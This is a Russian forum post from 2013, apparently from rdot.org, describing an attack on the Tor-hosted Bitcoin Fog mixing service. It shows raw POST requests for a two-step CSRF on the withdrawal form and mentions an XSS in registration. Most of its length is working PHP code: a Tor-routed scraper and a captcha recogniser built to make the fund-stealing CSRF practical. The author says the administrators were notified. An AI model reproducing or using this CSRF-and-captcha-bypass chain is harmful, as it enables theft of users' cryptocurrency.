Lucene search

K
rdotNameSpaceRDOT:2810
HistoryAug 06, 2013 - 12:00 a.m.

Один сервер, Tor и Bitcoin

2013-08-0600:00:00
NameSpace
rdot.org
495

Всем доброго времени суток. В последнее время достаточно много новостей о Tor иBitcoin, обе системы в достаточной мере направлены на безопасность и анонимность, однако их преимущества могут одновременно стать и недостатками.

Структура Tor не позволяет определять местоположение клиента и сервера, более-того, цепочка соединений меняется через некоторое время. Большинство участников сети пользуются специально сконфигурированными браузерами, в основе которых заложено:

  • Блокирование всех плагинов (Java, Flash, etc)
  • Автоматическое изменение User-Agent и удаление Referer
  • Выборочное включение Cookie и Javascript

Отследить пользователя практически невозможно, как и взломщиков, однако вопрос, как в таком случае сервера защищаются от атак, направленных на клиентскую часть? Рядовой пользователь сети использует несколько сервисов и форумов(так как сайтов немного относительно легко сделать массовую атаку), на последних же довольно часто включают javascript, иначе общаться достаточно сложно, а пройти регистрацию/авторизацию/заниматься модерирование бывает вовсе невозможно.

Один из популярных сайтов в сети - сервис по обелению Bitcoin Fog. Его можно использовать как кошелек, многие переводят через него крупные суммы. Ну а где есть деньги, найдутся и мошенники, но мы плывем под белым флагом. Единственное, что мешает дальнейшему повествованию, это недавний запрет:

Цитата:

На форуме запрещены линки на реальные сайты с уязвимостями!

Поэтому линков я приводить не буду Для анализа можно использовать Charles, он умеет работать сTOR, необходимо настроить браузер на егоSOCKS5, а выход в сеть устроить через носок тора.

Веб-сервер близок к самописному - удобнее использовать Bitcoin-клиент и скомпрометировать местоположение значительно сложнее. Данные авторизации хранятся через подобие сессии:

Код:

i337session=7dQnknhziIOoCRTu

Единственное их отличие от обычных - это hash-id авторизации, при выходе или повторной авторизации произойдет повторная генерация. В форме регистрации красуется оригинальная капча и XSS, но вот незадача, форма недоступна для пользователей, аsession-fixation невозможен. Не побывал определить сервер, но возможно реализуема атака на генератор этого рандома, но боюсь тогда это цензура точно не пропустит.

Однако в форме вывода средств ожидает сюрприз - дву-запросная CSRF с вводом капчи.

PHP код:

POST /?page=payout HTTP/1.1
Cookie: i337session=UYkPnWi9ZbjsalFd

amount=1.00000&to=WEXvDBop2774LaZYBDeMuo3o1JP8u7h2N9xv&timespan_hours=6&delay_hours=0&action=schedulewithdrawal

POST /?page=payout HTTP/1.1
Cookie: i337session=UYkPnWi9ZbjsalFd

captcha_text=duckroll&captcha_id=YcUNEvwfSB&action=schedulewithdrawal2

Сначала мы записываем реквизиты и сумму в сессию, а потом вводом капчи подтверждаем платеж. Но капчи в сессии нет, для универсальности у неё имеется свой ID. Post-запросы мы отправим только через javascript, или через нажатия пользователя. Асло мы не знаем сумму на счете, но выбирать рандомную в определенном пределе мы можем. Что нам не хватает для реализации? Листов хэш:капча и много биткоиновых кошельков. Последние быстро генерируются через bitcoind, а вот капчу вводить руками не хочется. Рассмотрим её поближе.



Капча содержится прямо в коде через data-протокол, но мы имеем возможность обновления капчи, текст остается тот-же, а расположение символов меняется. Капча содержит от 6 до 8 символов, символы не наклоняются, содержаться всегда в нижней части. Символы могут слипаться до неузнаваемости, читаются слова… Шрифт оригинальный, самому можно безошибочно вводить её только после длительной практики, отсюда антигейт не пойдет. Фон под разными углами, после проверки капчи она перестает быть доступна - это нам поможет при проверке удачности атаки.

Ну что, будем писать распозновалку. Реализовывать сложные системы для простой капчи не очень хочется, но получить опыт и исходники для дальнейших реализаций хотелось. В гугле найти достойных тем не удалось, хотя раньше они встречались.

Использовать будем PHP. Во первых тем кто тут владеет PHP это будет интересно, во вторых сервер и либы у многих стоят по дефлоту, ну и в третих потом спортировать код куда-либо не будет трудной задачей. Работа с самим сервисом простая, прокинули Tor через privoxy и используем cURL:

PHP код:

<?php
class fog {
private $curl;

/* Новый хэш для капчи */
public function getCapchaHash() {
preg_match(‘/name="captcha_id" value="([A-Za-z0-9]+)"/’, $this->getURL(‘http://**.onion/?page=register’)[‘response’], $out);

return $out[1];
}
/* Изображение по хэшу */
public function getImgByHash($hash, $test = false) {
$data = $this->getURL(‘http://**.onion/?page=showcaptcha&captchaid=’.$hash);

/* Проверка доступности капчи */
if(!$data || !(isset($data[‘HTTP’][‘CONTENT_TYPE’]) && $data[‘HTTP’][‘CONTENT_TYPE’] === ‘image/jpeg’ && $data[‘code’] === 200))
return false;
elseif($test)
return true;

return imagecreatefromstring($data[‘response’]);
}
/* Магические /
public function __construct() {
$this->curl = curl_init();
curl_setopt_array($this->curl, array(
//CURLOPT_VERBOSE => true, // Отладка
CURLOPT_RETURNTRANSFER => true,
CURLOPT_PROXY => ‘127.0.0.1:8089’,
CURLOPT_PROXYTYPE => CURLPROXY_HTTP,
CURLOPT_ENCODING => ‘gzip, deflate’,
CURLOPT_HEADER => true,
CURLOPT_CONNECTTIMEOUT => 10
));
}
public function __destruct() {
curl_close($this->curl);
}
/
Приватные */
private function getURL($url) {
curl_setopt_array($this->curl, array(
CURLOPT_URL => $url,
CURLOPT_USERAGENT => get_user_agent() // Воборка из списка по рандому
));
$data = curl_exec($this->curl);
if(curl_errno($this->curl) !== 0)
return false;

$response = preg_split(‘/\r{0,1}\n\r{0,1}\n/’, $data, 2);
$response[0] = preg_split(‘/\r{0,1}\n/’, $response[0]);
$headerCount = count($response[0]);

preg_match(‘/^[^ ]+ ([^ ]+)/’, $response[0][0], $code);
$ret = array(
‘code’ => (int)$code[1],
‘HTTP’ => array(),
‘response’ => &$response[1]
);

for($i=1; $i < $headerCount; ++$i) {
$header = preg_split(‘/:[ ]+/’, $response[0][$i]);
$ret[‘HTTP’][str_replace(‘-’, ‘_’, strtoupper($header[0]))] = trim($header[1]);
}
return $ret;
}
}

И больше нам ничего не надо. Теперь капча, если присмотреться, в ней участвуют рандомные цифры, слова и матерные сокращения , рандомных строк нет поэтому мы можем устроить хоть какой-то валидавтор:

PHP код:

public $wordsArr = array(
‘wtf’,
‘duckroll’,
‘duck’,
‘rick’,
‘quake’,
‘wut’,
‘inter’,
‘btc’,
‘fog’,
‘leo’,
‘int’,
‘coin’,
‘lol’,
‘nyan’,
‘rtfm’,
‘zerg’,
‘lmao’,
‘rofl’,
‘tubes’,
‘brb’
);
private function textCheck($text) {
$text = preg_replace(‘/[0-9]/’, ‘’, $text);
$count = count($this->wordsArr);

startFor:
for($w=0; $w < $count; ++$w) {
if(substr($this->wordsArr[$w], 0, strlen($text)) === substr($text, 0, strlen($this->wordsArr[$w]))) {
if(!($text = substr($text, strlen($this->wordsArr[$w]))))
return true;

goto startFor;
}
}

return false;
}

Одна из возможных реализаций. Вырезаем цифры, далее организуем цикл по списку слов. Обрезаем слово из словоря по длине капчи и капчу по длине словаря. Если строки равны, то обрезаем капчу. Когда строа будет пустой, substr возвратит false, иначе мы переходим на начало цикла.

Займемся обработкой капчи. Создадим новый холст для одной нижней части и скопируем её.

PHP код:

$img = imagecreatetruecolor(190, 82);
imagecopy($img, $imgByUrl, 0, 0, 0, 68, 190, 82);

list($width, $height) = array(imagesx($img), imagesy($img));

Символы очень контрастны, однако при простом сравнение мы получаем абсолютно нечитабельный текст:

Но мы можем побитого сравнить каждый канал:

PHP код:

define(‘truePX’, 0x000000);
define(‘falsePX’, 0xFFFFFF);

private function imgTo1Bit ($img, $width, $height) {
for ($x=0; $x < $width; ++$x) {
for ($y=0; $y < $height; ++$y) {
$px = imagecolorat($img, $x, $y);
$px = ((
(($px & 0xFF0000) == 0xFF0000) ||
(($px & 0x00FF00) == 0x00FF00) ||
(($px & 0x0000FF) == 0x0000FF)
)?truePX:falsePX);
imagesetpixel($img, $x, $y, $px);
}
}
}

Забыл сказать, для первой реализации я решил полность использовать GD Image True Color, без всяких массивов и более-оптимальных представлений однобитовых изображений. В GD есть множество функций, позволяющих выполнять нужные операции, да и отладку делать гораздо проще, можно обойтись без древних велосипедов. Это работает достаточно быстро, и теперь я уже могу выслушать ваши предложения более-оптимальных представлений.

Далее нам необходимо автоматическое кодирование, готовых реализаций я не нашел, опять пришлось писать самому:

PHP код:

private function autoCrop (&$img, &$width, &$height) { //Автоматическая обрезка
$top = 0;
$footer = 0;
$left = 0;
$right = 0;

for ($y=0; $y < $height; ++$y) {
for ($x=0; $x < $width; ++$x) {
if (imagecolorat($img, $x, $y) !== falsePX)
break 2;
}
++$top;
}
for ($y=($height - 1); $y >= 0; --$y) {
for ($x=0; $x < $width; ++$x) {
if (imagecolorat($img, $x, $y) !== falsePX)
break 2;
}
++$footer;
}
for ($x=0; $x < $width; ++$x) {
for ($y=0; $y < $height; ++$y) {
if (imagecolorat($img, $x, $y) !== falsePX)
break 2;
}
++$left;
}
for ($x=($width-1); $x >= 0; --$x) {
for ($y=0; $y < $height; ++$y) {
if (imagecolorat($img, $x, $y) !== falsePX)
break 2;
}
++$right;
}
$width = ($width-$left-$right);
$height = ($height-$footer-$top);

$newImg = imagecreatetruecolor($width, $height);
$ret = imagecopy($newImg, $img, 0, 0, $left, $top, $width, $height);
imagedestroy($img);
$img = $newImg;

return $ret;
}

Сначала мы проходим по верхним и нижним строкам, далее по левым и правым столбцам, и просто копирум с новыми данными нужную область на другой холст.

Необходима разбивка, склеенные символы бывает невозможно даже человеу разобравть, но раз у нас есть много капчей, и много попыток для их обновлений, то мы можем себе позволить разбирать по пустым строкам.

PHP код:

public $minChrPxX = 5; // Минимальная ширина буквы
public $maxChrPxX = 34; // Максимальная ширина буквы

private function autoSplit ($img, $width, $height, $flag = false) { //Автоматическое разделение на символы
$splitArr = array(0);

/*
Производим проход с подсчетом пустых пикселей в столбце
*/
for ($x=0; $x < $width; ++$x) {
for ($y=0; $y < $height; ++$y) {
if (imagecolorat($img, $x, $y) !== falsePX)
continue 2;
}
$splitArr[] = $x;
}

$splitArr[] = ($width-1);
$count = count($splitArr);

$outImgArr = array();
$outImgCount = -1;
/*
Производим проход по предыдущим данным
*/
for($i=1; $i < $count; ++$i) {
$startX = $splitArr[$i-1];
$endX = $splitArr[$i];

if(($endX - $startX) < $this->minChrPxX) // Пропускаем разделение кривых буквы
continue;
if(($endX - $startX) > $this->maxChrPxX) { // Если буква слишком толстая (не одна)
return false;
}
/* Копируем область с символом*/
$outImgArr[++$outImgCount] = array(imagecreatetruecolor(($endX-$startX), $height), ($endX-$startX), $height);

imagecopy($outImgArr[$outImgCount][0], $img, 0, 0, $startX, 0, $splitArr[$i], $height);
if($flag === true) {// См. аргументы
$this->autoCrop($outImgArr[$outImgCount][0], $outImgArr[$outImgCount][1], $outImgArr[$outImgCount][2]);
$this->noiseBorderRemove($outImgArr[$outImgCount][0], $outImgArr[$outImgCount][1], $outImgArr[$outImgCount][2]);
$this->autoCrop($outImgArr[$outImgCount][0], $outImgArr[$outImgCount][1], $outImgArr[$outImgCount][2]);
}
}
return $outImgArr;
}

$this->noiseBorderRemove это обрезка небольшой группы пикселей располагающейся на большем расстоянии от смвола. В слеующих реализациях эту функцию и автоматическую обрезку практичнее будет объеденить, тем более удаление шума реализовано не очень правильным способом:

PHP код:

public $minStrForNoise = 5; // Минимальное число пустых строк/столбцов между шумом и символом
public $maxNoiseLenX = 2; // Макс. кол-во пикселей шума

private function noiseBorderRemove ($img, $width, $height) { // Удаление лишних пикселей при большом расстоянии от символа
$pxArr = array();
$retCountSide = 0;
for ($y=0; $y < $height; ++$y) {
$thisInStrPxCount = 0;

for ($x=0; $x < $width; ++$x) {
if (imagecolorat($img, $x, $y) !== falsePX)
$thisInStrPxCount++;
}

$pxArr[] = $thisInStrPxCount;
}
/* Строки сверху /
if($pxArr[0] <= $this->maxNoiseLenX && _array_sum($pxArr, 1, ($this->minStrForNoise+1)) === 0)
imageline($img, 0, 0, ($width-1), 0, falsePX) && ++$retCountSide;
/
Строки снизу */
if(end($pxArr) <= $this->maxNoiseLenX && _array_sum($pxArr, (count($pxArr)-2-$this->minStrForNoise), (count($pxArr)-2)) === 0)
imageline($img, 0, ($height-1), ($width-1), ($height-1), falsePX) && ++$retCountSide;

return $retCountSide;
}

function _array_sum(&$arr, $start, $end) {
$ret = 0;
for($i=$start; $i<$end; ++$i)
$ret += $arr[$i];

return $ret;
}

Пришлось опять проходить по картинке, да еще и рисовать линии, и еще один цикл в внешней функции. Такой код в дальнейшем придется убрать, не знаю что на меня нашло когда я это писал. Не помешали-бы и исключения для удобной отладки. Теперь о распозновании, самый простой вариант - база размеров и статическая карта пустых пикселей. Выглядит это так:

PHP код:

array(
‘char’ => ‘2’,
‘width’ => 17,
‘height’ => 43,
‘px’ => array(
array(0, 8, 12, 4),
/*
(0, 12) - Старт выделения
(0+8, 12+4) - Конец выделения
*/
array(12, 3, 28, 3)
)
),
array(
‘char’ => ‘3’,
‘width’ => 18,
‘height’ => 43,
‘px’ => array(
array(0, 8, 12, 6),
array(0, 8, 26, 6)
)
),
array(
‘char’ => ‘4’,
‘width’ => 22,
‘height’ => 43,
‘px’ => array(
array(0, 10, 30, 11)
)
),

Её минусы в очень большой статичности… Наполнял её я вручную. И самая главная часть, это процесс распознования, точнее поиска по базе:

PHP код:

/* Распознование символов */
public $errorChrSize = 5;
public $errorChrPx = 2;

private function getChrFromImg ($img, $width, $height) {
static $db, $countDB;

if(!$db) {
$db = require (‘charArray.php’);
$countDB = count($db);
}
$error = 65535;

$variation = false;
$pxVal = false;

for($i=0; $i < $countDB; ++$i) {
$size = abs($db[$i][‘width’] - $width) + abs($db[$i][‘height’] - $height);
$px = 0;
$pxF = false;

if ($size >= $this->errorChrSize) // Проверка на размер
continue;
if(isset($db[$i][‘px’])) {// Проверка по чистым пикселям
$pxF = true;

$countPx = count($db[$i][‘px’]);

for($j=0; $j < $countPx; ++$j) {
$isNull = $this->imgIsNull($img, $width, $height,
$db[$i][‘px’][$j][0],
$db[$i][‘px’][$j][1],
$db[$i][‘px’][$j][2],
$db[$i][‘px’][$j][3]
);
if($isNull === false || ($px + $isNull) > $this->errorChrPx)
continue 2;
$px += $isNull;
}
}

/* Сравнение с предыдущим вариантом */
$out = $size + $px;

if($out < $error || ((($out - ($this->errorChrSize)) < $error) && $px === 0)) {
$error = $out;
$variation = $db[$i][‘char’];
if($pxF && $px === 0)
break;
}
}
return $variation;
}

Итоги: При запуске было успешно получен лист с 500-а капчами и их значениями, валид - 100%.

Надеюсь теперь вы понимаете как работают системы распознования, как это реализуется в коде, какие есть тонкости и моменты, где что можно оптимизировать и использовать в дальнейшем.

Сейчас нашел одну из статей по теме, с нейросетью и исходниками на питоне: http://habrahabr.ru/post/116222/
Нейросети в капчах мне не очень нравятся, поскольку да же при сложной реализации можно обойтись без неё, пусть разпознавая не каждую капчу, но с большей валидностью.

Администрация была предупреждена об уязвимостях, исходники предлагаются. Использовал все наработки только для тестов, лицензия MIT.

Copyright © 2013 NameSpace